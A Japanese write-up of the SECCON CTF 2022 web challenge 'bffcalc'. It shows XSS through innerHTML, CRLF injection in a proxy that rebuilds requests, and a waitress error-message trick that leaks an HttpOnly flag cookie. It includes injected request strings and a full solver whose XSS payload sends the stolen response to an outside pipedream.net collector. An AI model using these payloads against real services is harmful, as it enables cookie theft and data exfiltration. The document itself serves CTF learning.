[web] bffcalc (SECCON CTF 2022 Quals) writeup

---

- Source: SECCON CTF 2022 Quals
- Author: [ark](https://x.com/arkark_)

---

計算式を入力すると計算結果を表示してくれるアプリ。
![{B80D0A1D-6C33-450F-B480-9EEC25899E0F}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/55147a51-eeab-abe0-8d38-927559550066.png)

ソースコードは全部載せるには多すぎるので[こちら](https://github.com/SECCON/SECCON2022_online_CTF/tree/main/web/bffcalc)を参照。

bffサーバーがクライアントとサーバーの間にあるXSS問題。
```yaml
version: "3"

services:
  nginx:
    build: ./nginx
    restart: always
    ports:
      - "3000:3000"
  bff:
    build: ./bff
    restart: always
  backend:
    build: ./backend
    restart: always
  report:
    build: ./report
    restart: always
  bot:
    build: ./bot
    restart: always
    environment:
      - FLAG=SECCON{dummydummy}
```

backendでは`expr`クエリの値が`0123456789+-*/ `のみからなる時はevalして計算結果を、そうでなければクエリの値をそのまま返している。
```py
class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
        if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
            return str(eval(expr))
        return expr
```

クライアントでは返ってきた値をinnerHTMLで表示しているため、`<img src=x onerror=alert(1)>`などの文字列を「計算式」として入力するとXSSが発火した。

しかし、admin botのcookieにあるflagはHttpOnlyに設定されているため、XSSでそのまま窃取することができない。
```js
  await page.setCookie({
    name: "flag",
    value: FLAG,
    domain: APP_HOST,
    path: "/",
    httpOnly: true,
  });
```

明らかに怪しいbffの実装を見てみる。なぜかHTTPリクエストを組み立て直している。
```py
def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body
```

ここでユーザー入力のエスケープを行っていないので、`\r\n`がクエリパラメータに含まれていればCRLF InjectionによってHTTPリクエストを変形させることができる。

`/api%3fexpr=1 HTTP/1.1%0d%0a%0d%0aGET /api%3fexpr=2`というリクエストを投げるとレスポンスが2つ返ってきた。これでHTTP Response Splittingができた。
![{E8149F2E-C3B4-40C7-A3B3-C207C9D9844B}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/afe27e13-d22b-e38a-acd1-45b57d560d07.png)

この挙動を用いてレスポンスボディにcookieが含まれるようにしたい。

cookieに適当な値をセットしてPOSTメソッドのリクエストボディにCookieヘッダだったものが含まれるようにする。試行錯誤した結果、このようなリクエストを投げれば`expr=`より後ろの値が返ってくることが分かった。
```
/api%3fexpr=1 HTTP/1.1%0d%0a%0d%0aPOST /api%0d%0aContent-Length: 300%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0aexpr=
```

しかし、途中で切れてしまっている。
![{994997B1-E8D4-4D23-8A9F-26FD737ABDD0}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/a44b164c-b303-84cb-3f77-1ba837b21513.png)

生成されたリクエストはこうなっており、User-Agent中の`;`でレスポンスが打ち切られてしまっている。
```
bff-1      | GET /api?expr=1 HTTP/1.1
bff-1      |
bff-1      | POST /api
bff-1      | Content-Length: 300
bff-1      | Content-Type: application/x-www-form-urlencoded
bff-1      |
bff-1      | expr= HTTP/1.1
bff-1      | Remote-Addr: 172.24.0.3
bff-1      | Remote-Host: 172.24.0.3
bff-1      | Connection: upgrade
bff-1      | Host: localhost
bff-1      | X-Real-Ip: 172.24.0.1
bff-1      | X-Forwarded-For: 172.24.0.1
bff-1      | X-Forwarded-Proto: http
bff-1      | Sec-Ch-Ua-Platform: "Windows"
bff-1      | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
bff-1      | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
bff-1      | Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
bff-1      | Upgrade-Insecure-Requests: 1
bff-1      | Sec-Ch-Ua-Mobile: ?0
bff-1      | Sec-Fetch-Site: same-origin
bff-1      | Sec-Fetch-Mode: navigate
bff-1      | Sec-Fetch-Dest: empty
bff-1      | Accept-Encoding: gzip, deflate, br, zstd
bff-1      | Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7
bff-1      | Cookie: flag=SECCON{dummydummy}
```

User-Agentを自分で上書きしてあげれば良さそうだが、Chromeではそれができないらしい。困った。

その後1つめのリクエストを弄っていると、`/api%3fexpr=1 HTTP/1.1%0d%0aHost: a%0d%0aContent-Length: 300%0d%0a%0d%0a`でこのようなエラーが出てきた。

```
1HTTP/1.0 400 Bad Request
Connection: close
Content-Length: 80
Content-Type: text/plain; charset=utf-8
Date: Thu, 19 Dec 2024 11:28:11 GMT
Server: waitress

Bad Request

Malformed HTTP method "-Ch-Ua-Mobile:"

(generated by waitress)
```

不正なメソッド名がレスポンスに表示されるなら、Content-Lengthの長さをうまく調整してflagがメソッド名の位置になるように調整することでレスポンスにflagを含ませることができる。

`/?hoge`という名前のcookieに`fuga HTTP/1.1`という値をセットすることで、HTTPリクエストが`Cookie: flag=SECCON{dummydummy}; /?hoge=fuga HTTP/1.1`のように形成され、`Cookie: `までが1つめのリクエストとなるようにContent-Lengthを調整すればメソッドに相当する部分がflagになる。

と、ここまでやってsolverを書こうとしたが、なぜか思った通りにならなかったので[作問者writeup](https://blog.arkark.dev/2022/11/18/seccon-ja/#web-bffcalc)を見た。どうやらヘッダのエンコード方式を考慮しないといけないらしい。

ということで、改めて公式solverを参考にしつつsolverを書いてみる。
```js
const encode = (bs) => {
  // ref. https://www.rfc-editor.org/rfc/rfc2047.html#section-2
  const charset = "iso-8859-1";
  const encoding = "q";
  const encoded_text = Array.from(Buffer.from(bs))
    .map((x) => "=" + Buffer.from([x]).toString("hex"))
    .join("");
  return `=?${charset}?${encoding}?${encoded_text}?=`;
};

const exploit = async (contentLength) => {
  const header = encode(`bbb\r\nContent-Length: ${contentLength}\r\n`);
  const js = `
    const f = async () => {
      document.cookie = '/?hoge=fuga HTTP/1.1';
      const res = await fetch('/api?expr=1', {
        headers: {
          'aaa': '${header}',
        },
      });
      location = 'https://xxxxxxxx.m.pipedream.net?a=' + encodeURIComponent(await res.text());
    };
    f();
  `.replaceAll("\n", "");

  const payload = `<img src=x onerror="${js}">`;

  const res = await (
    await fetch("http://localhost:3000/report", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({
        expr: payload,
      }),
    })
  ).text();
  console.log(contentLength, res); // progress
};

for (let i = 100; i < 500; i+=10) {
  exploit(i)
  await new Promise((r) => setTimeout(r, 30000)); // sleep 30s
}
```

`contentLength`はおそらく未知で、reportは30秒に1回しか呼べないので総当たりは一見厳しそう。しかし、`flag=SECCON`の10文字は省略されてしまっても良い。10文字ごとに調べれば100から500まで全て調べても20分で済む。

と思ったら意外と早く、`contentLength`が120の時にflagが降ってきた。
`SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}`